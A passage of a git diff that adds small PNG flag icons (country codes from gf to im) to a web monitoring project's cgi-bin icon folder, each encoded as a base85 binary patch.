zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z5{;mW7T^ZG1fc{{5L|X7cRW6DB5> zBqo;ipO*VGFfgcix;TbZ+)7ShW-McqIB-6dl~K%Mx+Kem9X$nl${YrU7o-^&YBCtM Vv)wrNkAZ=K!PC{xWt~$(69C<lKAr#o literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gf.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gf.png new file mode 100644 index 0000000000000000000000000000000000000000..4ac9c2cf6cde2531d8c0bfdd722ab4e0ac6f4012 GIT binary patch literal 264 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{29*Gx5Lf1XEPwv8L|kE!T+7lF$FlSV%UeE{ zLvAd;JX!u3vHa^|`L~XxCS=b(1_lO4PZ!6Kid(T~J%tV^@Gu|jG~`nG|37~kx7e;y zPrc%Z7k=gfevf4Dbl*RylVfSR?y6bl6vIn5y=Oo9KXFpQp<}lEg=ZLERU~<zXJBAp N@O1TaS?83{1OOu5R;~a5 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gg.png new file mode 100644 index 0000000000000000000000000000000000000000..2053db6bc3625ca85856143eb3d3354a74bc16ff GIT binary patch literal 605 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ7>k44ofy`glX=O&z`&N| z?e4<x9|RZdT|SwCfq}EYBeIx*fm;}a85w5Hkzin8U@!6Xb!ET9CCH^={p!!0?+gr# zcRgJkLp09YPTHFl5-8%ffAe{}@8@Ppni>i_bxmM5=wjR$@W}s7P16q<v8G!$Ze~BX zzQN_hb<wTk7^7<^mtiu~Ki@|w&(7VcK7a4F(_^jh-P5Au<HJK47-AACcdH)eeYN1- z+2gBMPZK)BARs7w@zbYG9!&>lZM=17UD^D$qcuMgw-&#)>0(+nZ|Ci|MjPkPn|Dlb zDfib0+{JR=PW$zAd|a>oEyt4~LznNugUKCA!m6qq4_>h}FhvVZn>#Nj_oPat@yuD5 z?p=Q}gK_))^>(%2j!LA77~g!kQ=OZ8`mMJ~YKxURlW*HCkZ%8JDz&!K)^vL2qQ`ds zyw2D6TYRaqV~*|rH|L_k#EtXvc3WoK$VlH??D#HP?j7$Bfj0~sI>EWK){FA#H5;zr zRPnu-nWx5Z;Om*3yXRI<pBSg&l~c{SzV~kGs=Tyq7TP?yg_hx0nwtv0o6WZ^&ROK= zv)pfqd;i<t%=RBjpF6$&Cu^_C+SYb_w%&7Z@7`|hAXSMqva8eIpXz5@F?)V*cvyys zS%dMp$(y=)TOK(7xV~*_xA3>d%{mMjvZ@`t+pNCw|I$igm~}Smg8tP*6WXqxP!l${ zGGX4leaejxbMrW61BObwe;c(;FVE|}e15X@`W18j+<(en%lOyVLN#m?0|Nttr>mdK II;Vst0LKsohX4Qo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gh.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gh.png new file mode 100644 index 0000000000000000000000000000000000000000..0b4e4f1d066d41417a89cfc241f1b54b0878ce66 GIT binary patch literal 237 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LclEEIW6y{Q1L@mBnIUz{0}9@;8*_ z9}`QK_jOAK1_mQf7srr_TgeITj65oZHv<@$g(VD(oH973&und#>^yzqRF}@_6K9wL j&mQ1t6JSx%U|=X)!4&)I=qqyu1_lOCS3j3^P6<r_^&Ue1 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gi.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gi.png new file mode 100644 index 0000000000000000000000000000000000000000..023a4f7df6493aef20a314f400621c5eba9fb050 GIT binary patch literal 289 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5Z8Z9EdTUazEAQ0=^yyCH2mMcKhKXI zzuDe?kePK8E8C|#ca}1-tdo*_v~}AqW0P%OK4LXNstgPaex5FlAr-fBI~n;7C~z<b z&gp9U{XhSBN=o9*rJmKAGK@b0CvJ_BU3X^n{LQ<BzMfO*@7tOAezp0|u)DJ!b#?d_ oYv*}wV^dD$aQVCM<SV9IH<*iZ-{{sbFfcH9y85}Sb4q9e01qi=od5s; literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gl.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gl.png new file mode 100644 index 0000000000000000000000000000000000000000..2b4a2913c01e90a7d56127dd931eadd47413b0a0 GIT binary patch literal 240 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eufe~`T34EZfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}15bcYi0gh<_7}^R|NZmpYDDDAn0M<L7#JKq zT^vIyZpEHH$lGAR!|Wig#-Vdz7q`o)f4dXe<9-weB{k<eT)V24Al~4dXZd8x@;%<2 oANu2$hqk|~nDe4}`G1?AGufT2ctRT)7#J8lUHx3vIVCg!0EbFX5&!@I literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/glg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/glg.png new file mode 100644 index 0000000000000000000000000000000000000000..0610c23ea826c99c8f479523bf5ffff7bf276b66 GIT binary patch literal 922 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8GX(gAxH5o%0|P??1H*p? z1qKEM2L^=(28I6&4h#$q4h#+r3=aPp5*Qc~92gQB7!v-26gD_8G&C?Y{AXCez_7r9 zVL=1Kg8vK$7#I#XFdS%LIPjn0KLf*m2ZsL*4FCUwjAU?7U}#Wa_^+VAprGKOpwOV8 z@E>H4gM)%YgM!0<g#-qL1P6tL28D$GAj=yZ6dD>78vZLRU{F}#ps=7pVZnce0}KiW z925>TC>;2&@Sj29zk|a628I9sLCyp@w84Slzk>pUgMx#DLW6_Ce~{Z992^`P931{T zBrrH6I5;FUI3)ZBd8om`p`pQ{;lINI28RU>4htF_7W{WOz~FGe!QnuI!-4+}{}~+q zJ2?DraQOcp<aGvz1crtLhW`l)3<(Mj2?`Af3jaaj;oy+q(2(HpKOuo3A;BRbp&=pR zKPZqI91<ED5*q#|EMQ1j;E=GOAz{J)gaZr-2OJU(G$b7OpYWd{;lD$||AvJB{~JI- z@6Z4W(EkmfU~*^xdHz2rj6tq%XmI%70J7ep0c7ZZP{21hG=RYWh6M}_3mh62G&C&u z-*AAT;ebQKfrf?y{~P`@H2imH_}|d*|34^-7#u(f8U8O&U|68wut1?<fx>@Kyg4|4 zbUXZCkif7Y!C^r{!-9nWpvY`+02$fvf58HV1q&P&ENED;;QxXH3=0l8EI81x;K2U{ z{}~qicUbVhVZs0ZplD}s09nrP|9}F+0R@Kx3JnJo{)5tjg9FG#4*w4%FdRs5IFQhA zAmKkKfiyUPoZ0aIzygK?3mgtCXgILo|A7Mx2M#zKIM8t5!2bjP84mn+IPkyW!2kcC zqy$QW4gbN3=|3pBH2eogJSd7lu?UK!|Db4S_zw<HP`ouX{0Dpf{{n~q3mX1|9s2)( z!~X*f|G|d-|L^c0q~gDf<YEH`1_sUokH}&M2Ch;NX7p0M`<H=%!NJqTF{ENn==p=Z z3<exb4rK`p-{xPsm8JW%yi<|mB6Fvq;tRiBlN0aRJbPRwD{}noi$kZi48jz1oTcmn c4}EVGo3uL1G@`kr7L><4UHx3vIVCg!0K*lA{r~^~ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gm.png new file mode 100644 index 0000000000000000000000000000000000000000..75c58fbd9419aab215c6e6f24e22d430349a81e2 GIT binary patch literal 228 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2GIbY5Lc#iEKH|ZPJKJ0r1Xc0>CeA&XZ|s< zbn^e&%fP^(<LTlUQgLhQsg1l03Oq*~)LFjCOJ00fvh$U$t-Hiiv1tL9HqQ;_C~PvD cU%t0+C)0v+EA^HzFfcH9y85}Sb4q9e07+Cv=>Px# literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gn.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gn.png new file mode 100644 index 0000000000000000000000000000000000000000..55b87f66c89e0dd9dc9959597542f70808d6201a GIT binary patch literal 200 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2L1q_5Z8T7ESG{<{{3SK+Qz~(jb+vU)t49; y7{okX978H@B_}X2xv426q%ktJEj-W4Fy{+n=N*GTs~H#=7(8A5T-G@yGywpEAU9_K literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gov.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gov.png new file mode 100644 index 0000000000000000000000000000000000000000..a293ebda1f8152b6e9f54d0933a7494c18edd984 GIT binary patch literal 256 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eufe~`T34EZfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0gj=iT~Hm{f~<J-_z66a!x{GX|iH< zve(*@eQ`?|7#LhVT^vIyZsi^i<UL@(;d)V8W`dN0#e#?xtY-iH+^*NYQ+cmCeO33` zSJ#gD@1F6#Pv+;g-zjUS_SRYo+e=7YJnSOCWBbGA%x%7HhO57IGcYhPc)I$ztaD0e F0s!JNR`~z` literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gp.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gp.png new file mode 100644 index 0000000000000000000000000000000000000000..89ece9410f10ea4df47e6313a8873a38675daa0f GIT binary patch literal 257 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{29*Gx5Lcsjyj5RP{!N<mudMu^md!sKlYcHI z{{l?@-O~BDN9W%!oqx-898N6*>9_K9aSW-rReR2mk3oTh`GA&a!2kd8j}utf^<!u0 zvF`I?@^sMB4@h70Ecw{g-7UAKh+StXojm#bvFl8y>KPw@kLoRCU|?YIboFyt=akR{ E0NK7*^Z)<= literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gq.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gq.png new file mode 100644 index 0000000000000000000000000000000000000000..a2ff8411059f48b625cc47fa27106d441c31c676 GIT binary patch literal 278 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5Z8Z9EGbNLn3?~~V@lbll=9on<L<r3 zzkh!}cJ#QE?!$eHmiS%tHCW=qRF=ZDkA*3$=gqGKe+C8yXHOT$kcwNer#$%%DDXI6 zyrQc(<>kNat!a*i^~ts;FKKxCl&EP5tFE_mT5NuNX3S23w^x76zj|eke}wP7O|99} cH}tW+c*XMN`fe3%1_lNOPgg&ebxsLQ0P?b7XaE2J literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gr.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gr.png new file mode 100644 index 0000000000000000000000000000000000000000..ddd9f17adb6effbd2fa13b684a6368e028c01740 GIT binary patch literal 256 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LZ>*?X`_p{{8#o<#!}0?aZ6EKQCST zvU$sst2MK)GcYi?db&7<RNRU^$IW%XfP?km*ZTj`=2Mp(<q;B*mr#%piHW%<R5g3o z#Fc{ITvu;76~624L%FvRu{Zc-KRlG#@HZw=^4a%Fh9%~VRj)Yt0~r_?7(8A5T-G@y GGywoY$yne3 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gs.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gs.png new file mode 100644 index 0000000000000000000000000000000000000000..5f779ec7a0509c4f0d17b9319b2a306e516b4561 GIT binary patch literal 215 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0Ty3;^Wug-(;;T z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9Wz$e6&iD^%zdDF^( zN^j502l6}5^~}r9e`#y5=ir*7+gN$0OuA)$^!XwN1_nz{7srr_TYFF6=525ga0+yo zQTru+gW9g(rtj}t8k$(x;_nGP&p75)v*RA${G-NKmxR32cYOHjef-_7c!pa?pDu}D QU|?YIboFyt=akR{08%hZKL7v# literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gt.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gt.png new file mode 100644 index 0000000000000000000000000000000000000000..455820ba2bd925a838d094d30654c26c35df6515 GIT binary patch literal 278 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LfnPzXX@P7G3y0W6zDRe}Db``zP|? zYo^t|)h#AZXJBB6_H=O!skjx}AI*0_f#>j~OUM7_@7c1z@GX0y<W5$TBG(r6%(hid zyDV0(KkM|pw|2=rH>Y*FEf+1sa;L7kxL&q3+y6&)WzHY=t6SK%x+n3om1P+z<b0jv cJ%1y6?RMtYojyg43=9kmp00i_>zopr0N<`-$N&HU literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gu.png new file mode 100644 index 0000000000000000000000000000000000000000..0ea9ba6428d9232cb9548b0097f8a9a97dc06f5a GIT binary patch literal 303 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5Z8lD_S0B$S($&%GbjybSrh8L<kbt2 zi+RNhXLq)>-PyVMK~>R@i~U=U9Qk%3tR{4BhU3}uJPZsBF`h1tAr-fL&o%Nf2y(C` zaH>A~d;i<3JS*R)w{!kY5n`zLZIH6Q>3vgwYwBN};`~;H6%(7fBSX9<TwBE19vm9d zd}C?9VE@|eqyLpp-TBZJC>^`fXx@ZrxBBDP$eA@W9pPqha%Es(VDNPHb6Mw<&;$Ta Cl5T7O literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gw.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gw.png new file mode 100644 index 0000000000000000000000000000000000000000..12f71fcfba14ee0c3a5df04ee25cea9288ae7ae4 GIT binary patch literal 244 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{29*Gx5Z8T7EJ<E0Ow(AFFtHdhv7|AvtYc#F zV`8adV!2zz^6eMPzke)F-dlSZ7#MUtT^vIyZmm7Ok%>Wo!{MO&lpp{9U%hnUOfLID q|3@pMR&Dz*H^C>$Um-~9-xsDY9n7=M&m@B!$l&Sf=d#Wzp$PzF0!sJ* literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gy.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gy.png new file mode 100644 index 0000000000000000000000000000000000000000..e0069944e910efb9e072bcf5833c448f9697e58a GIT binary patch literal 287 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZAD-5TjKl%+pyj*;xAeYIZ(e@4eM$ z7ZXcS7SESob4!jDMR~FO{VVLF!E)yg%dTB4|L<?@VPIhJ@pN$vskoJU-kYz%fP*DK zYun?HRp0loJ@`x0t*oC#!sU|5loxYOJG^kZHvK@>u{m;!a_?!F`_DdK;#B@QNkM<x lx?kJ1WV#IP6d!Z5Ukzm``hVE>C<6lngQu&X%Q~loCII28W5fUe literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hk.png new file mode 100644 index 0000000000000000000000000000000000000000..a2b12f0407c8b1ed208450c97d71c290c4fff998 GIT binary patch literal 248 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8aqEdLDj{!N<vFD&fe*YE$%o&Q%= z^>6+9Ytp}#GB7aMdb&7<RNR`{Yskl-z{3>H_3giX82j2huZR<l2Gs#uw2k^7sEP7> w32aojn)D%-t)OqIj>YkVyNY)3{$IuH&Bd^8wPLX!0|Nttr>mdKI;Vst0K^+nSpWb4 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hm.png new file mode 100644 index 0000000000000000000000000000000000000000..06e0ec6b898163bfc0cafb17ed4604c91e872b06 GIT binary patch literal 260 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LY&~*}fWmch(<Di{J6>!IO(Ui>}6` z-{a)Y2)*0Hz`)??>EaktajVsjk?Vj1$E8{K{@3r>c9)gCS(wRp@`4t}#3rxnIy1Sn z<-W)E@}DlvXt}f9aXE+B+6qJCR=sS2`U`sNZACvXOuo$9V!&`e?9jAN3?Nfo{an^L HB{Ts51p8JT literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hn.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hn.png new file mode 100644 index 0000000000000000000000000000000000000000..292c1b145e83ae1c5ce0d25a45ec904718806a2a GIT binary patch literal 253 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{29*Gx5LYIqHC|pv{{8#Y+k2;~>dL}}4^N$X zvv1$aY18gpyY^+%rYBKRr+;2?TEW1;VCL!K7*cU7Ibi`q!D0qBHHCzy2}w!Mm^L1W z(NjoBZ7;rg!!qKg<-?e?G&MD`FoWrWtO1WS7&as`R-8Z3cZ`97fx*+&&t;ucLK6Vy C30L3% literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hr.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hr.png new file mode 100644 index 0000000000000000000000000000000000000000..e3bb792e94d8b9c058f95e3703100d446a30ef26 GIT binary patch literal 246 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LX?I73|DA-uL$Z`T6slUC7y>{O2V# z512Ux4s<<WU|_KJba4!+xYc?xkc&Zq!{uP<<vss<xs6Y7RMl;9{vdQuM5aZV{kM(r uR*4M3lNFQ0D*wJ(=JG`9<lXkIjG42TD%A768W|WE7(8A5T-G@yGywomF;D9N literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ht.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ht.png new file mode 100644 index 0000000000000000000000000000000000000000..237e7581d8c06074fbeb7391d8e186d6b904266b GIT binary patch literal 184 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`MrH;E2GzFxlNcBnq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuOVP>tniM3fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}16zPkh$}PG>U~TsmWPU47#JA%JzX3_DsCkw h9ANwR|DX%Q#G}0T$}~?+XJBAp@O1TaS?83{1OVO>F|Yst literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hu.png new file mode 100644 index 0000000000000000000000000000000000000000..ade6808eb1184c150b93ed21be57bd0f124fa587 GIT binary patch literal 210 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~EyjSkfJR9T^xl_H+M9WMyDr zFbMDoah0C0^6%fDfAZoC!~xdOEN%t{2KEw9Usv`ETzvc*0`|rV?-&>uq)J>PN?cNl zlZ!G7N;32F7<>~`QWeTGOEMJPJ$(bdh8S*UU|<mOba4!kxSSl&#K7jXMS(?N2`2-C Xsu0_+oJI#9kP|#z{an^LB{Ts59NsKk literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/i0.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/i0.png new file mode 100644 index 0000000000000000000000000000000000000000..4502b8d4e90fdca26f5adc97855fb8e289d84854 GIT binary patch literal 226 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eufd~jRI`wQfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}16zPki0l9V{}~t<LJwW8V_;xlED7=pW^j0R zBaMN9LC4d@F{I*FazX=>n}H^STLPbQ3%8QQLM;{rFILHbj2RXovOe-xWOnQnU|`VM X#&9;QE_)IK0|SGntDnm{r-UW|34uIb literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/id.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/id.png new file mode 100644 index 0000000000000000000000000000000000000000..3fb490582a8531ba8d04c58ca26391b6d46abb22 GIT binary patch literal 217 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z7C`?mT<;<lVbB|Ni}X=j8Iw%;cSz z$Ui2Q_fu9)W?*2D^K@|xskoJ#knGOJ6Y^x!1|?=TwX_rmUp;1JBL;>G49xvf`TIbo OF?hQAxvX<aXaWFtSwYnR literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ie.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ie.png new file mode 100644 index 0000000000000000000000000000000000000000..9029a230e405dcf04f0ff29c8d3f406337524c8b GIT binary patch literal 229 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2B83-5Lc#2JYm~n{{8#&?@-LYc`QuRcus~{ z6f!U{7<jrkhE&{2PGDtnQ&UJtV`O3zaCoY8n(6AJiL9R{q(*X{Saj=jSDrqX_}#d$ cJ6(+Do-)3zZM_)Ez`(%Z>FVdQ&MBb@0BBA|Qvd(} literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/il.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/il.png new file mode 100644 index 0000000000000000000000000000000000000000..deacbf4eec4aabd77375446f90afb874a779fc63 GIT binary patch literal 250 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5ZB+o|FE$9xpU{wjvaqWOaF9r{fUnL zvuM$u_}_Em7#JArJzX3_DsJ`m1#&Sca5$g6w(Eayu+rsyRUB3_!GRY;E^)2DvqPWp yPNZi8k8RHJxHWSWGaD?kj&Lr2zbrmpRxDAB;l*a9-`)%i3=E#GelF{r5}E*XDOH^S literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/im.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/im.png new file mode 100644 index 0000000000000000000000000000000000000000..7e9b7c9a8b43951d08d6d291712f1e0eedd497be GIT binary patch literal 291 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h;bLN}P*Q6H7Al^Atid zb5j}0QuFi_j4Tw=UX~T<DHs_T7%LbWTN#>K8JQ_)8yFfGY_gY^XJBApFY)wsWxveK z$Y{y1Ld8y!fq{Xuz$3Dlfr0A-2s1jZF`2=@z`&C3=<CS9u(6-}Pa-P=1A{?;Pl)R| zLxyvf4CgF4&RGhab7DB>#c;}t<6IoaDL>Uqah8|b6|S_~Un>r}vo_)0fr=+bR~31E z;$vW7u=aFu45_%4oZ!H~XmB!VX9Mq%q@DjQt~06xeA&dVRR5i4#-ktqWqgYL0~#){ oD_lBre!(-J_Dh;PGZ+{Y^LXOz9zEK`z`(%Z>FVdQ&MBb@0KRx!_W%F@ literal 0 HcmV?d00001 diff --git 